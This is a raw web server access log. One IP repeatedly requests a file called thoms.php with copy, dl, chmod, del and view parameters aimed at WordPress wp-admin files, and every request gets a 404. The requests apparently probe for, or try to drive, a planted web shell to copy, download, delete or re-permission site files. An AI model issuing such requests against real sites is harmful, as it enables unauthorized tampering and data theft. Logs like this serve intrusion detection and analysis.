45.135.193.11 - - [11/Sep/2026:23:52:36 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:36 -0400] "GET /thoms.php?dl=ms-users.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-users.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:36 -0400] "GET /thoms.php?dl=my-sites.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=my-sites.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:36 -0400] "GET /thoms.php?chmod=options-privacy.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-privacy.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:36 -0400] "GET /thoms.php?del=plugin-editor.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugin-editor.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:36 -0400] "GET /thoms.php?chmod=post.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:36 -0400] "GET /thoms.php?del=about.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=about.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:37 -0400] "GET /thoms.php?del=admin-header.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-header.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:37 -0400] "GET /thoms.php?del=media-upload.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=media-upload.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:37 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=privacy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:37 -0400] "GET /thoms.php?dl=media-upload.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=media-upload.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:37 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fthemes.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fthemes.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:37 -0400] "GET /thoms.php?chmod=user-new.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=user-new.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:37 -0400] "GET /thoms.php?del=contribute.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=contribute.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:37 -0400] "GET /thoms.php?chmod=user&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=user&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:37 -0400] "GET /thoms.php?dl=about.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=about.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:37 -0400] "GET /thoms.php?chmod=options-discussion.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-discussion.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:37 -0400] "GET /thoms.php?del=post-new.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post-new.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:37 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fprofile.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fprofile.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:37 -0400] "GET /ba-guo.com.tw/wp-admin/site-health-info.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:37 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Ftheme-editor.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Ftheme-editor.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:37 -0400] "GET /thoms.php?dl=edit-tag-form.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-tag-form.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:37 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=import.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=import.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:37 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fmedia-upload.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fmedia-upload.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:38 -0400] "GET /ba-guo.com.tw/wp-admin/edit.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:38 -0400] "GET /thoms.php?del=menu-header.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=menu-header.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:38 -0400] "GET /thoms.php?del=ms-sites.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-sites.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:38 -0400] "GET /thoms.php?del=upgrade.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=upgrade.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:38 -0400] "GET /thoms.php?chmod=font-library.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=font-library.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:38 -0400] "GET /thoms.php?chmod=ms-admin.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-admin.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:38 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=authorize-application.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=authorize-application.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:38 -0400] "GET /thoms.php?del=maint&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=maint&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:38 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fmoderation.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fmoderation.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:38 -0400] "GET /thoms.php?del=privacy.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=privacy.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:38 -0400] "GET /thoms.php?chmod=admin-footer.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-footer.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:38 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fcredits.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fcredits.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:38 -0400] "GET /ba-guo.com.tw/wp-admin/theme-editor.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:38 -0400] "GET /thoms.php?dl=update-core.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=update-core.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:38 -0400] "GET /ba-guo.com.tw/wp-admin/includes/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:38 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions-discussion.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions-discussion.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:38 -0400] "GET /thoms.php?chmod=upgrade-functions.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=upgrade-functions.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:38 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fwidgets-form.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fwidgets-form.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:39 -0400] "GET /thoms.php?dl=comment.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:39 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=install.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:39 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fms-delete-site.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fms-delete-site.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:39 -0400] "GET /thoms.php?chmod=press-this.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=press-this.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:39 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=setup-config.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=setup-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:39 -0400] "GET /thoms.php?del=widgets-form-blocks.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets-form-blocks.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:39 -0400] "GET /thoms.php?chmod=widgets.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:39 -0400] "GET /thoms.php?chmod=about.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=about.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:39 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions-privacy.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions-privacy.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:39 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=update.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:39 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=font-library.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=font-library.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:39 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Ffont-library.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Ffont-library.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:39 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fpress-this.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fpress-this.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:39 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fsite-editor.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fsite-editor.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:39 -0400] "GET /thoms.php?dl=theme-editor.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-editor.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:39 -0400] "GET /thoms.php?del=edit-form-blocks.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-form-blocks.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:39 -0400] "GET /ba-guo.com.tw/wp-admin/upgrade-functions.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:40 -0400] "GET /thoms.php?dl=ms-options.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-options.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:40 -0400] "GET /thoms.php?dl=ms-upgrade-network.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-upgrade-network.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:40 -0400] "GET /ba-guo.com.tw/wp-admin/ms-users.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:40 -0400] "GET /thoms.php?dl=admin-ajax.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-ajax.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:40 -0400] "GET /thoms.php?del=images&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=images&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:40 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions-reading.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions-reading.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:40 -0400] "GET /thoms.php?chmod=site-health.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=site-health.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:40 -0400] "GET /ba-guo.com.tw/wp-admin/images/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:40 -0400] "GET /thoms.php?dl=edit-form-comment.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-form-comment.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:40 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=nav-menus.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
